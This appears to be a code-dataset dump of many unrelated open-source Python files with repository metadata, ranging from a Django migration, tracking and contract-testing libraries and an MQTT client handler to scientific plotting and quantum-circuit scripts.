] | 18 | 2017-03-25T04:39:23.000Z | 2021-07-07T13:18:38.000Z | src/asymmetric_jwt_auth/migrations/0002_publickey_comment.py | crgwbr/asymmetric-jwt-auth | e4b7889a893dcc57eab20a2ed7265b6e9f44d4b9 | [
"0BSD"
] | 8 | 2017-03-02T14:00:02.000Z | 2020-03-21T08:29:17.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("asymmetric_jwt_auth", "0001_initial"),
]
operations = [
migrations.AddField(
model_name="publickey",
... | 22.826087 | 83 | 0.586667 |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("asymmetric_jwt_auth", "0001_initial"),
]
operations = [
migrations.AddField(
model_name="publickey",
name="comment",
... | true | true |
1c4a7192efc324ef4cc55befd164bd83b94f86a8 | 342 | py | Python | python/p026.py | Martin-Gong/euler | dc29cb99c0e5f9916428de624edc375d9d5b4543 | [
"MIT"
] | null | null | null | python/p026.py | Martin-Gong/euler | dc29cb99c0e5f9916428de624edc375d9d5b4543 | [
"MIT"
] | null | null | null | python/p026.py | Martin-Gong/euler | dc29cb99c0e5f9916428de624edc375d9d5b4543 | [
"MIT"
] | null | null | null | # 26
def getRecurLen(n):
seq = {}
rem = 1 % n
i = 1
while(rem not in seq):
seq[rem] = i
rem = (10 * rem) % n
if rem == 0:
return 0
i += 1
return len(seq) - seq[rem] + 1
rec = 0
for d in range(1, 1000):
n = getRecurLen(d)
if n > rec:
... | 13.68 | 34 | 0.421053 |
def getRecurLen(n):
seq = {}
rem = 1 % n
i = 1
while(rem not in seq):
seq[rem] = i
rem = (10 * rem) % n
if rem == 0:
return 0
i += 1
return len(seq) - seq[rem] + 1
rec = 0
for d in range(1, 1000):
n = getRecurLen(d)
if n > rec:
re... | true | true |
1c4a71fe54c3b911852677cd9a5459e70d22fa8e | 7,860 | py | Python | stonesoup/types/multihypothesis.py | 0sm1um/Stone-Soup | aaa895b54383e9a9b9c9f9ff746291bf60242aab | [
"MIT"
] | 1 | 2021-12-02T00:17:21.000Z | 2021-12-02T00:17:21.000Z | stonesoup/types/multihypothesis.py | 0sm1um/Stone-Soup | aaa895b54383e9a9b9c9f9ff746291bf60242aab | [
"MIT"
] | null | null | null | stonesoup/types/multihypothesis.py | 0sm1um/Stone-Soup | aaa895b54383e9a9b9c9f9ff746291bf60242aab | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from collections.abc import Sized, Iterable, Container
from typing import Sequence
from .detection import MissedDetection
from .numeric import Probability
from ..base import Property
from ..types import Type
from ..types.detection import Detection
from ..types.hypothesis import SingleHypothesis... | 38.719212 | 99 | 0.663232 |
from collections.abc import Sized, Iterable, Container
from typing import Sequence
from .detection import MissedDetection
from .numeric import Probability
from ..base import Property
from ..types import Type
from ..types.detection import Detection
from ..types.hypothesis import SingleHypothesis, CompositeHypothesis
f... | true | true |
1c4a72bba58f35607b720e9dfaa0b6d738ef6fd0 | 26,738 | py | Python | tests/test_invariant.py | kklein/icontract | 718ef1733cc2cce6d3c8f59a5a37de96f8be6664 | [
"MIT"
] | 244 | 2018-08-15T22:58:58.000Z | 2022-03-12T16:10:39.000Z | tests/test_invariant.py | kklein/icontract | 718ef1733cc2cce6d3c8f59a5a37de96f8be6664 | [
"MIT"
] | 157 | 2018-08-29T21:36:47.000Z | 2022-02-14T19:30:24.000Z | tests/test_invariant.py | kklein/icontract | 718ef1733cc2cce6d3c8f59a5a37de96f8be6664 | [
"MIT"
] | 23 | 2019-04-24T11:09:10.000Z | 2022-02-14T15:56:26.000Z | # pylint: disable=missing-docstring
# pylint: disable=invalid-name
# pylint: disable=unused-argument
import textwrap
import time
import unittest
from typing import Dict, Iterator, Mapping, Optional, Any, NamedTuple # pylint: disable=unused-import
import icontract
import tests.error
import tests.mock
class TestOK(un... | 32.214458 | 117 | 0.559803 |
import textwrap
import time
import unittest
from typing import Dict, Iterator, Mapping, Optional, Any, NamedTuple
import icontract
import tests.error
import tests.mock
class TestOK(unittest.TestCase):
def test_init(self) -> None:
@icontract.invariant(lambda self: self.x > 0)
class SomeClass:... | true | true |
1c4a74a5b3ae9815d30ff73f4c0fa8d735514d1e | 27,110 | py | Python | src/twisted/conch/test/keydata.py | seanicus64/twisted | c0f1394c7bfb04d97c725a353a1f678fa6a1c602 | [
"MIT",
"Unlicense"
] | 32 | 2019-11-14T07:49:33.000Z | 2022-02-16T00:49:22.000Z | src/twisted/conch/test/keydata.py | seanicus64/twisted | c0f1394c7bfb04d97c725a353a1f678fa6a1c602 | [
"MIT",
"Unlicense"
] | 9 | 2019-09-06T18:21:59.000Z | 2022-01-13T03:04:11.000Z | src/twisted/conch/test/keydata.py | seanicus64/twisted | c0f1394c7bfb04d97c725a353a1f678fa6a1c602 | [
"MIT",
"Unlicense"
] | 16 | 2019-06-25T13:26:43.000Z | 2022-03-07T07:29:12.000Z | # -*- test-case-name: twisted.conch.test.test_keys -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
# pylint: disable=I0011,C0103,W9401,W9402
"""
Data used by test_keys as well as others.
"""
from __future__ import absolute_import, division
from twisted.python.compat import long, _b64deco... | 61.058559 | 92 | 0.819993 |
from __future__ import absolute_import, division
from twisted.python.compat import long, _b64decodebytes as decodebytes
RSAData = {
'n': long('269413617238113438198661010376758399219880277968382122687862697'
'296942471209955603071120391975773283844560230371884389952067978'
'7896... | true | true |
1c4a75959aba89da3bf8a9fad406f6e1008f3883 | 7,491 | py | Python | cmsplugin_filer_link2/models.py | tobifroe/djangocms-link2 | 75780b0259df5d403b4648522404cae9768f76d2 | [
"BSD-3-Clause"
] | null | null | null | cmsplugin_filer_link2/models.py | tobifroe/djangocms-link2 | 75780b0259df5d403b4648522404cae9768f76d2 | [
"BSD-3-Clause"
] | null | null | null | cmsplugin_filer_link2/models.py | tobifroe/djangocms-link2 | 75780b0259df5d403b4648522404cae9768f76d2 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.core.exceptions import ObjectDoesNotExist, ValidationError
from django.urls.exceptions import NoReverseMatch
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.html import escape
from d... | 38.415385 | 119 | 0.611 |
from __future__ import unicode_literals
from django.core.exceptions import ObjectDoesNotExist, ValidationError
from django.urls.exceptions import NoReverseMatch
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.html import escape
from django.utils.safestring ... | true | true |
1c4a75e892d60a1d12ff20ec2dff431ecbc0002b | 257 | py | Python | lib/errata/decorators.py | adarshtri/art-dashboard-server | c6c61147d49aa43b6e2892ce07d8a115c1478b0c | [
"Apache-2.0"
] | 1 | 2020-09-21T06:48:47.000Z | 2020-09-21T06:48:47.000Z | lib/errata/decorators.py | adarshtri/art-dashboard-server | c6c61147d49aa43b6e2892ce07d8a115c1478b0c | [
"Apache-2.0"
] | 5 | 2021-02-05T19:43:08.000Z | 2021-06-04T23:23:29.000Z | lib/errata/decorators.py | adarshtri/art-dashboard-server | c6c61147d49aa43b6e2892ce07d8a115c1478b0c | [
"Apache-2.0"
] | 6 | 2021-02-06T07:21:37.000Z | 2021-06-07T12:40:37.000Z | from lib.errata.kerberos import handle_kinit
import functools
def update_keytab(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
handle_kinit()
func_ret = func(*args, **kwargs)
return func_ret
return wrapper
| 21.416667 | 44 | 0.673152 | from lib.errata.kerberos import handle_kinit
import functools
def update_keytab(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
handle_kinit()
func_ret = func(*args, **kwargs)
return func_ret
return wrapper
| true | true |
1c4a76055960b4b25afce3760c920e7649074f56 | 516 | py | Python | Evulation_Script.py | OpenVessel/RedTinSaintBernard-for-BraTS2021-challenge | dafe6f33ff6269869377d01a014ab1528b0f1c1d | [
"MIT"
] | null | null | null | Evulation_Script.py | OpenVessel/RedTinSaintBernard-for-BraTS2021-challenge | dafe6f33ff6269869377d01a014ab1528b0f1c1d | [
"MIT"
] | null | null | null | Evulation_Script.py | OpenVessel/RedTinSaintBernard-for-BraTS2021-challenge | dafe6f33ff6269869377d01a014ab1528b0f1c1d | [
"MIT"
] | null | null | null |
### How the output of the model will be evulated is with
## Dice score
##
#https://pypi.org/project/MedPy/0.4.0/
## https://loli.github.io/medpy/_modules/medpy/metric/binary.html
### HAUSDORFF DISTANCE
###https://en.wikipedia.org/wiki/Hausdorff_distance
## https://en.wikipedia.org/wiki/S%C3%B8rensen%E2%80%93Dice... | 28.666667 | 87 | 0.753876 | true | true | |
1c4a763ee76b213d17c59a4865ede3a3b254073f | 1,805 | py | Python | delta/data/frontend/cepstrum_test.py | luffywalf/delta | 7eb4e3be578a680737616efff6858d280595ff48 | [
"Apache-2.0"
] | 1 | 2019-10-27T08:15:22.000Z | 2019-10-27T08:15:22.000Z | delta/data/frontend/cepstrum_test.py | luffywalf/delta | 7eb4e3be578a680737616efff6858d280595ff48 | [
"Apache-2.0"
] | null | null | null | delta/data/frontend/cepstrum_test.py | luffywalf/delta | 7eb4e3be578a680737616efff6858d280595ff48 | [
"Apache-2.0"
] | null | null | null | # Copyright (C) 2017 Beijing Didi Infinity Technology and Development Co.,Ltd.
# All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LI... | 37.604167 | 82 | 0.677562 |
import tensorflow as tf
import os
from pathlib import Path
from delta.data.frontend.read_wav import ReadWav
from delta.data.frontend.cepstrum import Cepstrum
import numpy as np
class CepstrumTest(tf.test.TestCase):
def test_cepstrum(self):
wav_path = str(
Path(os.environ['MAIN_ROOT']).joi... | true | true |
1c4a77766df324feef1c4233c8317b9f927125b0 | 14,874 | py | Python | gmqtt/mqtt/handler.py | liamdiprose/gmqtt | 4fb92a9629fc57c885f5e07c46b951c4f45e9572 | [
"MIT"
] | null | null | null | gmqtt/mqtt/handler.py | liamdiprose/gmqtt | 4fb92a9629fc57c885f5e07c46b951c4f45e9572 | [
"MIT"
] | null | null | null | gmqtt/mqtt/handler.py | liamdiprose/gmqtt | 4fb92a9629fc57c885f5e07c46b951c4f45e9572 | [
"MIT"
] | null | null | null | import asyncio
import logging
import struct
import time
from asyncio import iscoroutinefunction
from collections import defaultdict
from copy import deepcopy
from functools import partial
from .utils import unpack_variable_byte_integer, IdGenerator, run_coroutine_or_function
from .property import Property
from .protoc... | 36.189781 | 122 | 0.646699 | import asyncio
import logging
import struct
import time
from asyncio import iscoroutinefunction
from collections import defaultdict
from copy import deepcopy
from functools import partial
from .utils import unpack_variable_byte_integer, IdGenerator, run_coroutine_or_function
from .property import Property
from .protoc... | true | true |
1c4a78d8ce31fc6b52765819f449138247bee001 | 1,552 | py | Python | examples/example1.py | lilydia/py-linkedin-jobs-scraper | a015739a7a25e8dd035f06ba629c6a48f376db43 | [
"MIT"
] | null | null | null | examples/example1.py | lilydia/py-linkedin-jobs-scraper | a015739a7a25e8dd035f06ba629c6a48f376db43 | [
"MIT"
] | null | null | null | examples/example1.py | lilydia/py-linkedin-jobs-scraper | a015739a7a25e8dd035f06ba629c6a48f376db43 | [
"MIT"
] | 1 | 2021-11-16T21:59:10.000Z | 2021-11-16T21:59:10.000Z | from linkedin_jobs_scraper import LinkedinScraper
from linkedin_jobs_scraper.events import Events, EventData
from linkedin_jobs_scraper.query import Query, QueryOptions, QueryFilters
from linkedin_jobs_scraper.filters import RelevanceFilters, TimeFilters, TypeFilters, ExperienceLevelFilters
def on_data(data: EventDat... | 28.740741 | 116 | 0.671392 | from linkedin_jobs_scraper import LinkedinScraper
from linkedin_jobs_scraper.events import Events, EventData
from linkedin_jobs_scraper.query import Query, QueryOptions, QueryFilters
from linkedin_jobs_scraper.filters import RelevanceFilters, TimeFilters, TypeFilters, ExperienceLevelFilters
def on_data(data: EventDat... | true | true |
1c4a78f4dcf40fc5ffc5474c684e0cddfad04df8 | 698 | py | Python | prime.py | CooperPair/end_to_end_encryption | 8eab4c76b0cb5bcba36442c08f9dbb336b476117 | [
"MIT"
] | 1 | 2019-01-26T16:20:09.000Z | 2019-01-26T16:20:09.000Z | prime.py | CooperPair/end_to_end_encryption | 8eab4c76b0cb5bcba36442c08f9dbb336b476117 | [
"MIT"
] | null | null | null | prime.py | CooperPair/end_to_end_encryption | 8eab4c76b0cb5bcba36442c08f9dbb336b476117 | [
"MIT"
] | null | null | null | import math
def isPrime(num):
# Return True if Number is prime else false
# isPrime is slower than primeSieve()
if num < 2:
return False
for i in range(2, int(math.sqrt(num))+1):
if num%i == 0:
return False
return True
def primeSieve():
sieve = [True]*sieveSize # list of Boolean True that is the length... | 20.529412 | 81 | 0.670487 | import math
def isPrime(num):
if num < 2:
return False
for i in range(2, int(math.sqrt(num))+1):
if num%i == 0:
return False
return True
def primeSieve():
sieve = [True]*sieveSize
sieve[0] = False
sieve[1] = False
for i in range(2, int(math.sqrt(sieveSize)) + 1):
pointer = i*2
while poin... | true | true |
1c4a79bd34e32dc0bc69909503c6fba71fdbe9ab | 13,311 | py | Python | scripts/run_fever_scoring.py | salesforce/DialFact | d400b250147e45c106b18e52254b1060f7c1575d | [
"BSD-3-Clause"
] | 10 | 2021-11-08T00:37:57.000Z | 2022-03-28T12:19:29.000Z | scripts/run_fever_scoring.py | salesforce/DialFact | d400b250147e45c106b18e52254b1060f7c1575d | [
"BSD-3-Clause"
] | 1 | 2022-01-24T18:37:17.000Z | 2022-01-24T18:37:17.000Z | scripts/run_fever_scoring.py | salesforce/DialFact | d400b250147e45c106b18e52254b1060f7c1575d | [
"BSD-3-Clause"
] | 1 | 2022-03-22T08:56:04.000Z | 2022-03-22T08:56:04.000Z | import argparse
import sys
import jsonlines
from tqdm import tqdm
import logging
import json
import torch
import torch.nn.functional as F
import jsonlines
import random
import os
import numpy as np
from scipy.special import softmax
# os.environ["NCCL_SHM_DISABLE"] = "1"
from tqdm import tqdm
from typing import List
fro... | 39.853293 | 212 | 0.631207 | import argparse
import sys
import jsonlines
from tqdm import tqdm
import logging
import json
import torch
import torch.nn.functional as F
import jsonlines
import random
import os
import numpy as np
from scipy.special import softmax
from tqdm import tqdm
from typing import List
from sklearn.metrics import f1_score, pre... | true | true |
1c4a7a0b653d94fb65060004a335ac768d0fbace | 5,776 | py | Python | sdk/yapily/models/account_statement.py | yapily/yapily-sdk-python | c09930c44e8795e270e2846a2c0fb783200df76a | [
"MIT"
] | 11 | 2018-05-18T14:38:49.000Z | 2021-09-08T13:24:37.000Z | sdk/yapily/models/account_statement.py | yapily/yapily-sdk-python | c09930c44e8795e270e2846a2c0fb783200df76a | [
"MIT"
] | 5 | 2019-10-23T15:06:33.000Z | 2021-08-03T21:18:50.000Z | sdk/yapily/models/account_statement.py | yapily/yapily-sdk-python | c09930c44e8795e270e2846a2c0fb783200df76a | [
"MIT"
] | 8 | 2019-04-27T00:02:18.000Z | 2021-11-21T02:54:12.000Z | # coding: utf-8
"""
Yapily API
To access endpoints that require authentication, use your application key and secret created in the Dashboard (https://dashboard.yapily.com) # noqa: E501
The version of the OpenAPI document: 1.154.0
Generated by: https://openapi-generator.tech
"""
import pprint
impor... | 29.025126 | 158 | 0.608899 |
import pprint
import re
import six
from yapily.configuration import Configuration
class AccountStatement(object):
openapi_types = {
'id': 'str',
'start_date_time': 'datetime',
'end_date_time': 'datetime',
'creation_date_time': 'datetime'
}
attribute_map = {
... | true | true |
1c4a7a49f884812045349d0f5b1b1b674809dc4f | 1,968 | py | Python | CuSVD/testcases/gen_testcase.py | praeclarumjj3/CuML | 1c812d3b07a11c3a69a284d9960058a874d97bfa | [
"MIT"
] | 2 | 2021-03-04T13:38:00.000Z | 2021-04-09T13:40:00.000Z | CuSVD/testcases/gen_testcase.py | praeclarumjj3/CuML | 1c812d3b07a11c3a69a284d9960058a874d97bfa | [
"MIT"
] | null | null | null | CuSVD/testcases/gen_testcase.py | praeclarumjj3/CuML | 1c812d3b07a11c3a69a284d9960058a874d97bfa | [
"MIT"
] | 2 | 2020-12-13T18:21:18.000Z | 2021-08-17T06:55:56.000Z | #!/usr/bin/python3
#########################################################################
# Generate M x N matrix of real numbers and store #
# the the matrix in file named 'testcase_<M>_<N>' #
# Parameters: #
# ... | 38.588235 | 73 | 0.399898 | true | true | |
1c4a7b6fc80a80c5c89ab92e7173ca90f412ed2c | 1,717 | py | Python | examples/clusteredparent/sync.py | rahulchheda/metac | 40b547db945dd1a45cb2d62205d1c59e278bd678 | [
"Apache-2.0"
] | 577 | 2018-03-22T01:31:59.000Z | 2022-02-16T15:19:12.000Z | examples/clusteredparent/sync.py | DalavanCloud/metacontroller | 98610b6e15cbe8b6ccd3bca0928dce0ce54c548d | [
"Apache-2.0"
] | 391 | 2020-05-19T09:33:07.000Z | 2022-03-31T17:27:18.000Z | examples/clusteredparent/sync.py | DalavanCloud/metacontroller | 98610b6e15cbe8b6ccd3bca0928dce0ce54c548d | [
"Apache-2.0"
] | 117 | 2018-03-22T01:40:47.000Z | 2022-03-25T08:57:53.000Z | #!/usr/bin/env python
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law o... | 37.326087 | 105 | 0.726849 |
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import json
def new_rolebinding(name):
rolebinding = {}
rolebinding['apiVersion'] = 'rbac.authorization.k8s.io/v1'
rolebinding['kind'] = 'RoleBinding'
rolebinding['metadata'] = {}
rolebinding['metadata']['name'] = name
rolebindin... | true | true |
1c4a7b98fa5883d11c06bf2f920e1ba0096ba6ec | 5,226 | py | Python | services/backend/app/api/v1/endpoints/marks.py | moxxiq/online-diary | 5949cb5631d49622a31885519a880b17a0816988 | [
"MIT"
] | null | null | null | services/backend/app/api/v1/endpoints/marks.py | moxxiq/online-diary | 5949cb5631d49622a31885519a880b17a0816988 | [
"MIT"
] | null | null | null | services/backend/app/api/v1/endpoints/marks.py | moxxiq/online-diary | 5949cb5631d49622a31885519a880b17a0816988 | [
"MIT"
] | null | null | null | from fastapi import APIRouter, status, HTTPException, Path, Depends
import app.core.crud as crud
from app.core.authorization import get_current_user, get_current_user_with_scopes
from app.core.schemas.users import UserWithID
from app.core.schemas.marks import Mark, MarkDB, MarkContent
router = APIRouter()
@router.po... | 67.87013 | 178 | 0.726177 | from fastapi import APIRouter, status, HTTPException, Path, Depends
import app.core.crud as crud
from app.core.authorization import get_current_user, get_current_user_with_scopes
from app.core.schemas.users import UserWithID
from app.core.schemas.marks import Mark, MarkDB, MarkContent
router = APIRouter()
@router.po... | true | true |
1c4a7be7ea527484692bd99033eb1f536a3b8881 | 18,777 | py | Python | h2o-perf/bench/py/h2oPerf/Scrape.py | gigliovale/h2o | be350f3f2c2fb6f135cc07c41f83fd0e4f521ac1 | [
"Apache-2.0"
] | 882 | 2015-05-22T02:59:21.000Z | 2022-02-17T05:02:48.000Z | h2o-perf/bench/py/h2oPerf/Scrape.py | VonRosenchild/h2o-2 | be350f3f2c2fb6f135cc07c41f83fd0e4f521ac1 | [
"Apache-2.0"
] | 1 | 2022-02-22T12:15:02.000Z | 2022-02-22T12:15:02.000Z | h2o-perf/bench/py/h2oPerf/Scrape.py | VonRosenchild/h2o-2 | be350f3f2c2fb6f135cc07c41f83fd0e4f521ac1 | [
"Apache-2.0"
] | 392 | 2015-05-22T17:04:11.000Z | 2022-02-22T09:04:39.000Z | from Table import *
import json
import os
import re
import subprocess
import time
import MySQLdb
class Scraper:
"""
Objects of this class scrape the R stdouterr for
relevant information that needs to percolate back
to the database.
Because of the different phases (parse, model, predict),
ther... | 40.207709 | 129 | 0.598445 | from Table import *
import json
import os
import re
import subprocess
import time
import MySQLdb
class Scraper:
"""
Objects of this class scrape the R stdouterr for
relevant information that needs to percolate back
to the database.
Because of the different phases (parse, model, predict),
ther... | false | true |
1c4a7c6f7957c6d59fda330bbe04e8fea41006a6 | 1,933 | py | Python | plots/cv_over_a/qif/plot.py | ModelDBRepository/228604 | 8f641f73bcac2700b476663fe656fcad7d63470d | [
"BSD-3-Clause"
] | null | null | null | plots/cv_over_a/qif/plot.py | ModelDBRepository/228604 | 8f641f73bcac2700b476663fe656fcad7d63470d | [
"BSD-3-Clause"
] | null | null | null | plots/cv_over_a/qif/plot.py | ModelDBRepository/228604 | 8f641f73bcac2700b476663fe656fcad7d63470d | [
"BSD-3-Clause"
] | null | null | null | import analytics.shot_noise_driven.if_neuron as ana
import analytics.gaussian_white_noise_driven.if_neuron as gwnana
import pylab as pl
import numpy as np
import param_scan.io
import param_scan.parameter_sets
import param_scan.simulation_run
from param_scan.io import InDirectory
import os
from latex_param_values import... | 37.173077 | 189 | 0.682359 | import analytics.shot_noise_driven.if_neuron as ana
import analytics.gaussian_white_noise_driven.if_neuron as gwnana
import pylab as pl
import numpy as np
import param_scan.io
import param_scan.parameter_sets
import param_scan.simulation_run
from param_scan.io import InDirectory
import os
from latex_param_values import... | true | true |
1c4a7c8b617700a230076e999868d1a98b6e2fb1 | 312 | py | Python | desafios/Ex023.py | FelipeAlafy/Python | da2374e55e8aa84e4ca6d9c7bf8dafeb546a4742 | [
"MIT"
] | null | null | null | desafios/Ex023.py | FelipeAlafy/Python | da2374e55e8aa84e4ca6d9c7bf8dafeb546a4742 | [
"MIT"
] | null | null | null | desafios/Ex023.py | FelipeAlafy/Python | da2374e55e8aa84e4ca6d9c7bf8dafeb546a4742 | [
"MIT"
] | null | null | null | num = int(input("Digite um número entre 0 e 9999: "))
u = num // 1 % 10
d = num // 10 % 10
c = num // 100 % 10
m = num // 1000 % 10
print("\033[36munidade: {}\033[m".format(u))
print("\033[33mdezena: {}\033[m".format(d))
print("\033[32mcentena: {}\033[m".format(c))
print("\033[31mmilhar: {}\033[m".format(m))
| 31.2 | 53 | 0.589744 | num = int(input("Digite um número entre 0 e 9999: "))
u = num // 1 % 10
d = num // 10 % 10
c = num // 100 % 10
m = num // 1000 % 10
print("\033[36munidade: {}\033[m".format(u))
print("\033[33mdezena: {}\033[m".format(d))
print("\033[32mcentena: {}\033[m".format(c))
print("\033[31mmilhar: {}\033[m".format(m))
| true | true |
1c4a7c8d6ad4b05645b9c03988afe18bb514fbae | 59 | py | Python | packages/Python/modern_robotics/__init__.py | Nutellaman/ModernRobotics | 88c94eec1e0e4eedbd3ae32819664179a9a5a6ba | [
"MIT"
] | 1,126 | 2016-10-10T19:04:47.000Z | 2022-03-31T21:22:58.000Z | packages/Python/modern_robotics/__init__.py | Nutellaman/ModernRobotics | 88c94eec1e0e4eedbd3ae32819664179a9a5a6ba | [
"MIT"
] | 34 | 2017-10-11T04:52:38.000Z | 2022-03-17T18:23:05.000Z | packages/Python/modern_robotics/__init__.py | Nutellaman/ModernRobotics | 88c94eec1e0e4eedbd3ae32819664179a9a5a6ba | [
"MIT"
] | 631 | 2016-10-11T03:43:36.000Z | 2022-03-24T21:41:47.000Z | from .__version__ import __version__
from .core import *
| 11.8 | 36 | 0.779661 | from .__version__ import __version__
from .core import *
| true | true |
1c4a7cf006f6295e328795766e19f2fe14ead264 | 2,259 | py | Python | examples/brainsimulator_agent/components/visual_area_component.py | masayoshi-nakamura/CognitiveArchitectureLecture | 5e036b48e92f266062eb7be8a366e754dee24f2c | [
"Apache-2.0"
] | 4 | 2016-03-13T03:01:28.000Z | 2016-03-31T02:51:56.000Z | examples/brainsimulator_agent/components/visual_area_component.py | masayoshi-nakamura/CognitiveArchitectureLecture | 5e036b48e92f266062eb7be8a366e754dee24f2c | [
"Apache-2.0"
] | null | null | null | examples/brainsimulator_agent/components/visual_area_component.py | masayoshi-nakamura/CognitiveArchitectureLecture | 5e036b48e92f266062eb7be8a366e754dee24f2c | [
"Apache-2.0"
] | null | null | null |
import brica1
import numpy as np
import pygazebo.msg.poses_stamped_pb2
import pickle
class VisualAreaComponent(brica1.Component):
def __init__(self):
super(VisualAreaComponent, self).__init__()
self.last_position = np.array((0, 0))
def __position_to_area_id(self, pos2d):
x = pos2d[0]
... | 31.375 | 76 | 0.575476 |
import brica1
import numpy as np
import pygazebo.msg.poses_stamped_pb2
import pickle
class VisualAreaComponent(brica1.Component):
def __init__(self):
super(VisualAreaComponent, self).__init__()
self.last_position = np.array((0, 0))
def __position_to_area_id(self, pos2d):
x = pos2d[0]
... | true | true |
1c4a7d5d68e7e6f208af698969098f6dd360551f | 932 | py | Python | pycantonese/tests/test_yale.py | chaaklau/pycantonese | 94694fea2f3c3405d3b6bb6d504a56bb05a6496c | [
"MIT"
] | 124 | 2019-08-12T13:10:43.000Z | 2022-03-24T18:35:58.000Z | pycantonese/tests/test_yale.py | chaaklau/pycantonese | 94694fea2f3c3405d3b6bb6d504a56bb05a6496c | [
"MIT"
] | 13 | 2019-09-03T17:08:49.000Z | 2021-12-28T21:37:17.000Z | pycantonese/tests/test_yale.py | chaaklau/pycantonese | 94694fea2f3c3405d3b6bb6d504a56bb05a6496c | [
"MIT"
] | 15 | 2019-08-09T04:03:01.000Z | 2022-03-17T10:18:21.000Z | import pytest
from pycantonese import jyutping_to_yale
from pycantonese.jyutping.parse_jyutping import ONSETS, NUCLEI, CODAS
from pycantonese.jyutping.yale import (
ONSETS_YALE,
NUCLEI_YALE,
CODAS_YALE,
)
def test_correct_onset_set():
assert set(ONSETS_YALE.keys()) == ONSETS
def test_correct_nucleu... | 23.3 | 73 | 0.73176 | import pytest
from pycantonese import jyutping_to_yale
from pycantonese.jyutping.parse_jyutping import ONSETS, NUCLEI, CODAS
from pycantonese.jyutping.yale import (
ONSETS_YALE,
NUCLEI_YALE,
CODAS_YALE,
)
def test_correct_onset_set():
assert set(ONSETS_YALE.keys()) == ONSETS
def test_correct_nucleu... | true | true |
1c4a7d8f4b20f462196786fe00a5de5533884057 | 184 | py | Python | molsysmt/tools/openmm_Modeller/is_openmm_Modeller.py | dprada/molsysmt | 83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d | [
"MIT"
] | null | null | null | molsysmt/tools/openmm_Modeller/is_openmm_Modeller.py | dprada/molsysmt | 83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d | [
"MIT"
] | null | null | null | molsysmt/tools/openmm_Modeller/is_openmm_Modeller.py | dprada/molsysmt | 83f150bfe3cfa7603566a0ed4aed79d9b0c97f5d | [
"MIT"
] | null | null | null | _item_fullname_='openmm.Modeller'
def is_openmm_Modeller(item):
item_fullname = item.__class__.__module__+'.'+item.__class__.__name__
return _item_fullname_==item_fullname
| 20.444444 | 73 | 0.788043 | _item_fullname_='openmm.Modeller'
def is_openmm_Modeller(item):
item_fullname = item.__class__.__module__+'.'+item.__class__.__name__
return _item_fullname_==item_fullname
| true | true |
1c4a7e2fe78d848f06c3a08a7f2a2ea29679e094 | 1,158 | py | Python | setup.py | topshed/m8tricks | 51a55f0cdbb167252048101bc2aadf547a5730da | [
"MIT"
] | 10 | 2019-07-31T17:33:10.000Z | 2022-01-08T09:07:01.000Z | setup.py | topshed/m8tricks | 51a55f0cdbb167252048101bc2aadf547a5730da | [
"MIT"
] | 3 | 2019-08-18T19:25:20.000Z | 2022-01-07T12:19:23.000Z | setup.py | topshed/m8tricks | 51a55f0cdbb167252048101bc2aadf547a5730da | [
"MIT"
] | 1 | 2022-01-08T09:03:42.000Z | 2022-01-08T09:03:42.000Z | "Setup script for the m8tricks package"
import sys
from setuptools import setup, find_packages
if not sys.version_info >= (3, 5):
raise RuntimeError('This application requires Python 3.5 or later')
def main():
"Executes setup when this script is the top-level"
import m8tricks as app
from pathlib imp... | 28.95 | 71 | 0.598446 |
import sys
from setuptools import setup, find_packages
if not sys.version_info >= (3, 5):
raise RuntimeError('This application requires Python 3.5 or later')
def main():
import m8tricks as app
from pathlib import Path
with Path(__file__).with_name('project.rst').open() as project:
setup(
... | true | true |
1c4a805580426d4b5885f1258cc4efdfad25817c | 2,870 | py | Python | src/topology/general/nn_circuit.py | Dreamonic/shor-algorithm | 19a4d95f0f19809cd3fe1db4d834ff3a02fba68d | [
"MIT"
] | null | null | null | src/topology/general/nn_circuit.py | Dreamonic/shor-algorithm | 19a4d95f0f19809cd3fe1db4d834ff3a02fba68d | [
"MIT"
] | null | null | null | src/topology/general/nn_circuit.py | Dreamonic/shor-algorithm | 19a4d95f0f19809cd3fe1db4d834ff3a02fba68d | [
"MIT"
] | null | null | null | from math import ceil, sqrt
from projectq.ops import Swap
from src.topology.general.circuit import Circuit, LongDistanceAlgorithm, Statistics, Restrictions, Node
from src.topology.general.qubit import QubitHandler, QubitType
class GridSwap(LongDistanceAlgorithm):
def prepare(self, circuit, src, tgt, ... | 41 | 115 | 0.529965 | from math import ceil, sqrt
from projectq.ops import Swap
from src.topology.general.circuit import Circuit, LongDistanceAlgorithm, Statistics, Restrictions, Node
from src.topology.general.qubit import QubitHandler, QubitType
class GridSwap(LongDistanceAlgorithm):
def prepare(self, circuit, src, tgt, ... | true | true |
1c4a80ada0266eea6ace4af79ce1968081a0a12c | 5,578 | py | Python | reconbf/modules/test_nova.py | fallenpegasus/reconbf | bfd15bef549f011a3de885c3267d4f718223b798 | [
"Apache-2.0"
] | 45 | 2016-08-12T21:37:25.000Z | 2022-03-29T00:21:29.000Z | reconbf/modules/test_nova.py | fallenpegasus/reconbf | bfd15bef549f011a3de885c3267d4f718223b798 | [
"Apache-2.0"
] | 20 | 2016-08-11T07:42:28.000Z | 2016-09-09T13:33:47.000Z | reconbf/modules/test_nova.py | fallenpegasus/reconbf | bfd15bef549f011a3de885c3267d4f718223b798 | [
"Apache-2.0"
